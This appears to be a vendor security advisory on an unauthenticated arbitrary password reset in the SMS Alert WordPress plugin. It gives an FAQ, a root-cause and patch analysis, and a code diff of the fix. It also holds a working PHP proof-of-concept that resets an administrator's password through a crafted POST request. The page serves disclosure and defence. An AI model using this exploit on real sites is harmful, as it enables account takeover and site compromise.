What is CVE-2026-11387?

CVE-2026-11387 is a critical vulnerability in the SMS Alert plugin for WordPress, versions 3.9.5 and earlier. It allows unauthenticated attackers to reset the password of any user, including administrators, leading to full account takeover and site compromise.

How does the vulnerability work?

The plugin fails to validate that a user has completed OTP verification before processing password change requests. Attackers send a crafted POST request with parameters like user_login and new password, bypassing the OTP step entirely. The plugin accepts the request and changes the password without verifying the user’s identity.

What is the CVSS score and severity?

The vulnerability has a CVSS score of 9.8, which is critical. This means it is extremely easy to exploit, requires no authentication, and can lead to complete compromise of the WordPress site, including data access and code execution.

Which versions of SMS Alert are affected?

All versions of the SMS Alert plugin up to and including 3.9.5 are vulnerable. Version 3.9.6 contains the patch that fixes the issue.

How can I check if my site is vulnerable?

Check the plugin version in your WordPress admin dashboard under Plugins. If the version is 3.9.5 or lower, your site is vulnerable. Also ensure that OTP verification for password resets is enabled, as the vulnerability only exists when that feature is active.

What is the root cause of the vulnerability?

The root cause is missing session validation in the password reset handlers. The plugin checks for a request parameter but does not verify that the user has completed OTP verification via a session variable. This allows unauthenticated requests to trigger password changes.

How does the proof of concept demonstrate the issue?

The PoC sends a POST request to the vulnerable endpoint with the target username, a new password, and an attacker-controlled phone number. Without any OTP verification, the plugin processes the request and changes the password, granting the attacker access to the account.

What is the impact of successful exploitation?

An attacker can gain full administrative access to the WordPress site, allowing them to modify content, install malicious plugins, access user data, and potentially compromise the server. The ability to change email addresses further enables persistent backdoor access.

How can I fix or mitigate this vulnerability?

Update the SMS Alert plugin to version 3.9.6 or later, which adds proper session validation checks. As a temporary mitigation, disable OTP verification for password resets if you cannot update immediately, though this may reduce security.

What does the patch change?

The patch adds checks for a session variable that is set only after successful OTP verification. In the password reset handlers, the code now requires `isset($_SESSION[…]) && strcasecmp($_SESSION[…], ‘validated’) === 0` before processing the request, ensuring only verified users can reset passwords.

Is the vulnerability exploitable without OTP enabled?

No, the vulnerability only exists when OTP verification for password resets is enabled. If the site does not use OTP for password resets, the vulnerable code path is not triggered. However, many sites enable this feature for security, making them vulnerable.

What should I do if I suspect my site has been compromised?

Immediately update the plugin to version 3.9.6, change all user passwords, and review user accounts for unauthorized changes. Check for unknown admin users or modified email addresses. Consider restoring from a backup taken before the compromise and audit site logs for suspicious activity.

Published : June 30, 2026

CVE-2026-11387: SMS Alert <= 3.9.5 Unauthenticated Privilege Escalation via Arbitrary Password Reset PoC, Patch Analysis & Rule

CVE ID CVE-2026-11387

Plugin sms-alert

Severity Critical (CVSS 9.8)

CWE 287

Vulnerable Version 3.9.5

Patched Version 3.9.6

Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11387:

This vulnerability allows unauthenticated attackers to escalate privileges by resetting arbitrary user passwords without proper authorization. The flaw exists in the SMS Alert plugin for WordPress (SMSAlert-wc-order-sms.php), specifically within the password reset functionality for both the Ultimate Member and WordPress login integration modules. The CVSS score is 9.8, indicating critical severity.

Root Cause: The plugin fails to validate a user’s identity before processing password change requests. In `class-wpresetpassword.php` (line 68), the `routeData()` method handles requests when `$_REQUEST[‘option’]` equals ‘smsalert-change-password-form’. The vulnerable version (3.9.5) only checks for this parameter value without verifying that the user has actually completed the OTP verification step. Similarly, `class-ultimatemember.php` (line 87) processes the ‘smsalert-um-reset-pwd-action’ option without checking session validation status. The missing session check `isset($_SESSION[$this->form_session_var]) && strcasecmp($_SESSION[$this->form_session_var], ‘validated’) === 0` means any unauthenticated request can trigger the password change handler.

Exploitation: An unauthenticated attacker crafts a POST request to the vulnerable endpoint. For the WordPress integration, the attacker sends a request with `option=smsalert-change-password-form`, `user_login=`, `phone_number_mo=`, and new password fields. The plugin processes this directly via `handleSmsalertChangedPwd()` without checking if the original phone number or user identity was verified. For Ultimate Member installations, the attacker sends a request with `option=smsalert-um-reset-pwd-action` and similar parameters. The attacker does NOT need to know or provide the target user’s existing phone number; the plugin accepts the provided `phone_number_mo` value unsanitized and proceeds with the password change.

Patch Analysis: The patch adds session validation checks before processing password change requests. In `class-wpresetpassword.php`, the updated condition now requires `isset($_SESSION[$this->form_session_var]) && strcasecmp($_SESSION[$this->form_session_var], ‘validated’) === 0`. Additionally, the patch sets `$_SESSION[$this->form_session_var] = ‘validated’` in the legitimate OTP verification flow (line 214 of class-wpresetpassword.php), ensuring only users who successfully completed OTP verification can proceed. The same pattern applies to `class-ultimatemember.php` (lines 87-89). These changes enforce that password changes occur only after proper OTP validation, closing the unauthorized access vector.

Impact: Successful exploitation allows an attacker to gain full administrative access to the WordPress site. By resetting an administrator’s password, the attacker can log in as that administrator and achieve complete site compromise. This includes access to all user data, content modification capabilities, plugin/theme installation, and potential server-level compromise through file uploads. The ability to change arbitrary user email addresses as described in the vulnerability details further amplifies the impact, enabling persistent backdoor access even after the initial password reset.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/sms-alert/SMSAlert-wc-order-sms.php
+++ b/sms-alert/SMSAlert-wc-order-sms.php
@@ -11,11 +11,11 @@
  * Plugin Name: SMSAlert - WooCommerce
  * Plugin URI: https://wordpress.org/plugins/sms-alert/
  * Description: This is a WooCommerce add-on. By Using this plugin admin and buyer can get notification after placing order via sms using SMS Alert.
- * Version: 3.9.5
+ * Version: 3.9.6
  * Author: Cozy Vision Technologies Pvt. Ltd.
  * Author URI: https://www.smsalert.co.in
  * WC requires at least: 4.6
- * WC tested up to: 10.5
+ * WC tested up to: 10.9
  * Text Domain: sms-alert
  * License: GPLv2
  */
--- a/sms-alert/handler/forms/class-ultimatemember.php
+++ b/sms-alert/handler/forms/class-ultimatemember.php
@@ -84,8 +84,8 @@
         add_action('um_after_form', array( $this, 'umFormAddShortcode' ), 10, 1);

         add_action('um_after_form_fields', array( $this, 'addCountryCode' ), 10, 1);
-
-        if (! empty($_REQUEST['option']) && sanitize_text_field(wp_unslash($_REQUEST['option'])) === 'smsalert-um-reset-pwd-action' ) {
+        SmsAlertUtility::checkSession();
+        if (! empty($_REQUEST['option']) && (sanitize_text_field(wp_unslash($_REQUEST['option'])) === 'smsalert-um-reset-pwd-action') && isset($_SESSION[ $this->form_session_var2 ]) && strcasecmp($_SESSION[ $this->form_session_var2 ], 'validated') === 0 ) {
             $this->handleSmsalertChangedPwd($_POST);
             wp_enqueue_style('wpv_sa_common_style', SA_MOV_CSS_URL, array(), SmsAlertConstants::SA_VERSION, false);
         }
@@ -493,6 +493,7 @@
         }

         if (isset($_SESSION[ $this->form_session_var2 ]) ) {
+			$_SESSION[ $this->form_session_var2 ] = 'validated';
             smsalertAskForResetPassword($_SESSION['user_login'], $_SESSION['phone_number_mo'], __('Please change Your password', 'sms-alert'), 'phone', false, 'smsalert-um-reset-pwd-action');
         }
     }
--- a/sms-alert/handler/forms/class-wplogin.php
+++ b/sms-alert/handler/forms/class-wplogin.php
@@ -171,13 +171,15 @@
             $user = wp_authenticate($username, $password);
         }
         //added for new user approve plugin
-        $user = apply_filters('wp_authenticate_user', $user, $password);
-        if (is_wp_error($user) ) {
-            $msg   = SmsAlertUtility::_create_json_response(current($user->errors), 'error');
-            wp_send_json($msg);
-            exit();
-        }
+		if (is_plugin_active('new-user-approve/new-user-approve.php') ) {
+			$user = apply_filters('wp_authenticate_user', $user, $password);
+		}
         //-added for new user approve plugin
+		if (is_wp_error($user) ) {
+			$msg   = SmsAlertUtility::_create_json_response(current($user->errors), 'error');
+			wp_send_json($msg);
+			exit();
+		}
         $user_meta    = get_userdata($user->data->ID);
         $user_role    = $user_meta->roles;
         $phone_number = get_user_meta($user->data->ID, $this->phone_number_key, true);
@@ -227,15 +229,18 @@
             $user_info  = $this->getUserFromPhoneNumber($billing_phone, $this->phone_number_key);
             $user_login = ( $user_info ) ? $user_info->data->user_login : '';
             $user = get_user_by('login', $user_login);
-            $password='';
             //added for new user approve plugin
-            $user = apply_filters('wp_authenticate_user', $user, $password);
-            if (is_wp_error($user) ) {
-                $msg   = SmsAlertUtility::_create_json_response(current($user->errors), 'error');
-                wp_send_json($msg);
-                exit();
-            }
+			if (is_plugin_active('new-user-approve/new-user-approve.php') ) {
+				$password='';
+                $user = apply_filters('wp_authenticate_user', $user, $password);
+			}
             //-added for new user approve plugin
+
+			if (is_wp_error($user) ) {
+				$msg   = SmsAlertUtility::_create_json_response(current($user->errors), 'error');
+				wp_send_json($msg);
+				exit();
+			}

             if (! empty($user_login) ) {
                 SmsAlertUtility::initialize_transaction($this->form_session_var3);
@@ -333,7 +338,7 @@
 					}
 				});
 		    </script>';
-            echo do_shortcode('[sa_verify user_selector="#username" pwd_selector="#password" submit_selector=".'.$unique_class.'.login :submit:not(.show-password-input)"]');
+            echo do_shortcode('[sa_verify user_selector="#username" pwd_selector="#password" submit_selector=".'.$unique_class.'.login :submit:not(.show-password-input,.btn-line)"]');
         }
     }
     /**
@@ -498,6 +503,7 @@
     {
         SmsAlertUtility::checkSession();
         $login_with_otp_enabled = ( smsalert_get_option('login_with_otp', 'smsalert_general') === 'on' ) ? true : false;
+		$phone_number = '';
         if (empty($password) ) {
             if (! empty($_REQUEST['username']) ) {
                 $phone_number = ! empty($_REQUEST['username']) ? sanitize_text_field(wp_unslash($_REQUEST['username'])) : '';
--- a/sms-alert/handler/forms/class-wpresetpassword.php
+++ b/sms-alert/handler/forms/class-wpresetpassword.php
@@ -65,7 +65,8 @@
      */
     public function routeData()
     {
-        if (! empty($_REQUEST['option']) && sanitize_text_field(wp_unslash($_REQUEST['option'])) === 'smsalert-change-password-form' ) {
+		SmsAlertUtility::checkSession();
+		if (! empty($_REQUEST['option']) && (sanitize_text_field(wp_unslash($_REQUEST['option'])) === 'smsalert-change-password-form') && isset($_SESSION[ $this->form_session_var ]) && strcasecmp($_SESSION[ $this->form_session_var ], 'validated') === 0 ) {
             $this->handleSmsalertChangedPwd($_POST);
         }
     }
@@ -210,6 +211,7 @@
         if (! isset($_SESSION[ $this->form_session_var ]) ) {
             return;
         }
+		$_SESSION[ $this->form_session_var ] = 'validated';
         smsalertAskForResetPassword(
             sanitize_text_field($_SESSION['user_login']),
             sanitize_text_field($_SESSION['phone_number_mo']),
--- a/sms-alert/handler/forms/woocommerce/wc-registration.php
+++ b/sms-alert/handler/forms/woocommerce/wc-registration.php
@@ -292,15 +292,17 @@
             $user_info  = WPLogin::getUserFromPhoneNumber($billing_phone, 'billing_phone');
             $user_login = ( $user_info ) ? $user_info->data->user_login : '';
             $user = get_user_by('login', $user_login);
-            $password='';
             //added for new user approve plugin
-            $user = apply_filters('wp_authenticate_user', $user, $password);
-            if (is_wp_error($user) ) {
-                $msg   = SmsAlertUtility::_create_json_response(current($user->errors), 'error');
-                wp_send_json($msg);
-                exit();
-            }
+			if (is_plugin_active('new-user-approve/new-user-approve.php') ) {
+				$password='';
+				$user = apply_filters('wp_authenticate_user', $user, $password);
+			}
             //-added for new user approve plugin
+			if (is_wp_error($user) ) {
+				$msg   = SmsAlertUtility::_create_json_response(current($user->errors), 'error');
+				wp_send_json($msg);
+				exit();
+			}
             SmsAlertUtility::initialize_transaction($this->form_session_var3);
             smsalert_site_challenge_otp(null, null, null, $billing_phone, 'phone', null, SmsAlertUtility::currentPageUrl(), true);
         }
@@ -344,7 +346,7 @@
 				}
 			});
 		</script>';
-        echo do_shortcode('[sa_verify phone_selector="#reg_billing_phone" submit_selector= ".'.$unique_class.'.register .woocommerce-Button"]');
+        echo do_shortcode('[sa_verify phone_selector="#reg_billing_phone" submit_selector= ".'.$unique_class.'.register .woocommerce-Button,.'.$unique_class.'.register :is(.woocommerce-Button, .btn.submit-btn)"]');
     }


--- a/sms-alert/helper/constants.php
+++ b/sms-alert/helper/constants.php
@@ -33,7 +33,7 @@
     const ERROR_JSON_TYPE        = 'error';
     const SUCCESS_JSON_TYPE      = 'success';
     const USERPRO_VER_FIELD_META = 'verification_form';
-    const SA_VERSION             = '3.9.5';
+    const SA_VERSION             = '3.9.6';



--- a/sms-alert/helper/curl.php
+++ b/sms-alert/helper/curl.php
@@ -169,7 +169,7 @@
             return $response;
         }

-        $url    = 'http://www.smsalert.co.in/api/push.json';
+        $url    = 'https://www.smsalert.co.in/api/push.json';
         $fields = array(
         'user'     => $username,
         'pwd'      => $password,
@@ -272,7 +272,7 @@
             $data['description']['desc'] = __('Wrong SMSAlert credentials', 'sms-alert');
             return json_encode($data);
         }
-        $url = 'http://www.smsalert.co.in/api/mverify.json';
+        $url = 'https://www.smsalert.co.in/api/mverify.json';

         $fields       = array(
         'user'     => $username,
@@ -333,7 +333,7 @@
         if (empty($username) || empty($password) || empty($senderid) ) {
             return $response;
         }
-        $url = 'http://www.smsalert.co.in/api/mverify.json';
+        $url = 'https://www.smsalert.co.in/api/mverify.json';

         $fields = array(
         'user'     => $username,
@@ -369,7 +369,7 @@
             return '';
         }

-        $url = 'http://www.smsalert.co.in/api/senderlist.json';
+        $url = 'https://www.smsalert.co.in/api/senderlist.json';

         $fields = array(
         'user' => $username,
@@ -393,7 +393,7 @@
         if (empty($username) || empty($password) ) {
             return '';
         }
-        $url = 'http://www.smsalert.co.in/api/templatelist.json';
+        $url = 'https://www.smsalert.co.in/api/templatelist.json';

         $fields = array(
         'user'  => $username,
@@ -423,7 +423,7 @@
             return $response;
         }

-        $url = 'http://www.smsalert.co.in/api/creditstatus.json';
+        $url = 'https://www.smsalert.co.in/api/creditstatus.json';

         $fields   = array(
         'user' => $username,
@@ -447,7 +447,7 @@
             return '';
         }

-        $url = 'http://www.smsalert.co.in/api/grouplist.json';
+        $url = 'https://www.smsalert.co.in/api/grouplist.json';

         $fields = array(
         'user' => $username,
@@ -468,7 +468,7 @@
 		if (SmsAlertUtility::isPlayground()) {
 			return	true;
 		}
-        $url      = 'http://www.smsalert.co.in/api/countrylist.json';
+        $url      = 'https://www.smsalert.co.in/api/countrylist.json';
         $response = self::callAPI($url, null, null);
         return $response;
     }
@@ -487,7 +487,7 @@
             return '';
         }

-        $url = 'http://www.smsalert.co.in/api/creategroup.json';
+        $url = 'https://www.smsalert.co.in/api/creategroup.json';

         $fields = array(
         'user' => $username,
@@ -630,7 +630,7 @@
         }

         $xmldata = $msg->asXML();
-        $url     = 'http://www.smsalert.co.in/api/xmlpush.json?';
+        $url     = 'https://www.smsalert.co.in/api/xmlpush.json?';
         $fields  = array( 'data' => $xmldata );
         if ($cnt > 0 ) {
             $response = self::callAPI($url, $fields, null);
--- a/sms-alert/template/register-otp-template.php
+++ b/sms-alert/template/register-otp-template.php
@@ -91,7 +91,7 @@
 					input[type="text"].sa_customer_validation-textbox {background: #FBFBFB none repeat scroll 0% 0%;font-family: "Open Sans",sans-serif;font-size: 24px;width: 100%;border: 1px solid #DDD;padding: 3px;margin: 2px 6px 16px 0px;}
 					</style>
 					<script>
-					document.addEventListener("DOMContentLoaded", function() {
+					//document.addEventListener("DOMContentLoaded", function() {
 					jQuery("#sa-form").on("submit", function () {
 						jQuery("#smsalert_otp_token_submit").attr("disabled", "disabled");
 					});
@@ -129,7 +129,7 @@
 								document.getElementById("verify_otp").style.cssText = cssString;
 							}
 						}, 1000);
-					});
+					//});
 					</script>
 				</body>
 		    </html>';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11387 - SMS Alert <= 3.9.5 Unauthenticated Privilege Escalation via Arbitrary Password Reset

$target_url = 'http://example.com/wp-content/plugins/sms-alert/handler/forms/class-wpresetpassword.php';
$target_username = 'admin'; // Target administrator username
$new_password = 'PwnedPassword123!';
$attacker_phone = '1234567890'; // Attacker-controlled phone number

$post_data = array(
    'option' => 'smsalert-change-password-form',
    'user_login' => $target_username,
    'phone_number_mo' => $attacker_phone,
    'new_password' => $new_password,
    'confirm_password' => $new_password
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');
curl_setopt($ch, CURLOPT_COOKIE, 'testcookie=1');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && strpos($response, 'Password changed successfully') !== false) {
    echo "[+] Password reset successful!n";
    echo "[+] Log in at: " . $target_url . "n";
    echo "[+] Username: " . $target_username . "n";
    echo "[+] New password: " . $new_password . "n";
} else {
    echo "[-] Exploit may have failed. Check HTTP response code: " . $http_code . "n";
    echo "[-] Response: " . substr($response, 0, 500) . "n";
}
?>

Frequently Asked Questions

What is CVE-2026-11387?
Vulnerability Overview
CVE-2026-11387 is a critical vulnerability in the SMS Alert plugin for WordPress, versions 3.9.5 and earlier. It allows unauthenticated attackers to reset the password of any user, including administrators, leading to full account takeover and site compromise.
How does the vulnerability work?
Technical Mechanism
The plugin fails to validate that a user has completed OTP verification before processing password change requests. Attackers send a crafted POST request with parameters like user_login and new password, bypassing the OTP step entirely. The plugin accepts the request and changes the password without verifying the user’s identity.
What is the CVSS score and severity?
Risk Assessment
The vulnerability has a CVSS score of 9.8, which is critical. This means it is extremely easy to exploit, requires no authentication, and can lead to complete compromise of the WordPress site, including data access and code execution.
Which versions of SMS Alert are affected?
Affected Versions
All versions of the SMS Alert plugin up to and including 3.9.5 are vulnerable. Version 3.9.6 contains the patch that fixes the issue.
How can I check if my site is vulnerable?
Detection
Check the plugin version in your WordPress admin dashboard under Plugins. If the version is 3.9.5 or lower, your site is vulnerable. Also ensure that OTP verification for password resets is enabled, as the vulnerability only exists when that feature is active.
What is the root cause of the vulnerability?
Root Cause Analysis
The root cause is missing session validation in the password reset handlers. The plugin checks for a request parameter but does not verify that the user has completed OTP verification via a session variable. This allows unauthenticated requests to trigger password changes.
How does the proof of concept demonstrate the issue?
PoC Explanation
The PoC sends a POST request to the vulnerable endpoint with the target username, a new password, and an attacker-controlled phone number. Without any OTP verification, the plugin processes the request and changes the password, granting the attacker access to the account.
What is the impact of successful exploitation?
Impact
An attacker can gain full administrative access to the WordPress site, allowing them to modify content, install malicious plugins, access user data, and potentially compromise the server. The ability to change email addresses further enables persistent backdoor access.
How can I fix or mitigate this vulnerability?
Remediation
Update the SMS Alert plugin to version 3.9.6 or later, which adds proper session validation checks. As a temporary mitigation, disable OTP verification for password resets if you cannot update immediately, though this may reduce security.
What does the patch change?
Patch Details
The patch adds checks for a session variable that is set only after successful OTP verification. In the password reset handlers, the code now requires `isset($_SESSION[…]) && strcasecmp($_SESSION[…], ‘validated’) === 0` before processing the request, ensuring only verified users can reset passwords.
Is the vulnerability exploitable without OTP enabled?
Prerequisites
No, the vulnerability only exists when OTP verification for password resets is enabled. If the site does not use OTP for password resets, the vulnerable code path is not triggered. However, many sites enable this feature for security, making them vulnerable.
What should I do if I suspect my site has been compromised?
Incident Response
Immediately update the plugin to version 3.9.6, change all user passwords, and review user accounts for unauthorized changes. Check for unknown admin users or modified email addresses. Consider restoring from a backup taken before the compromise and audit site logs for suspicious activity.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started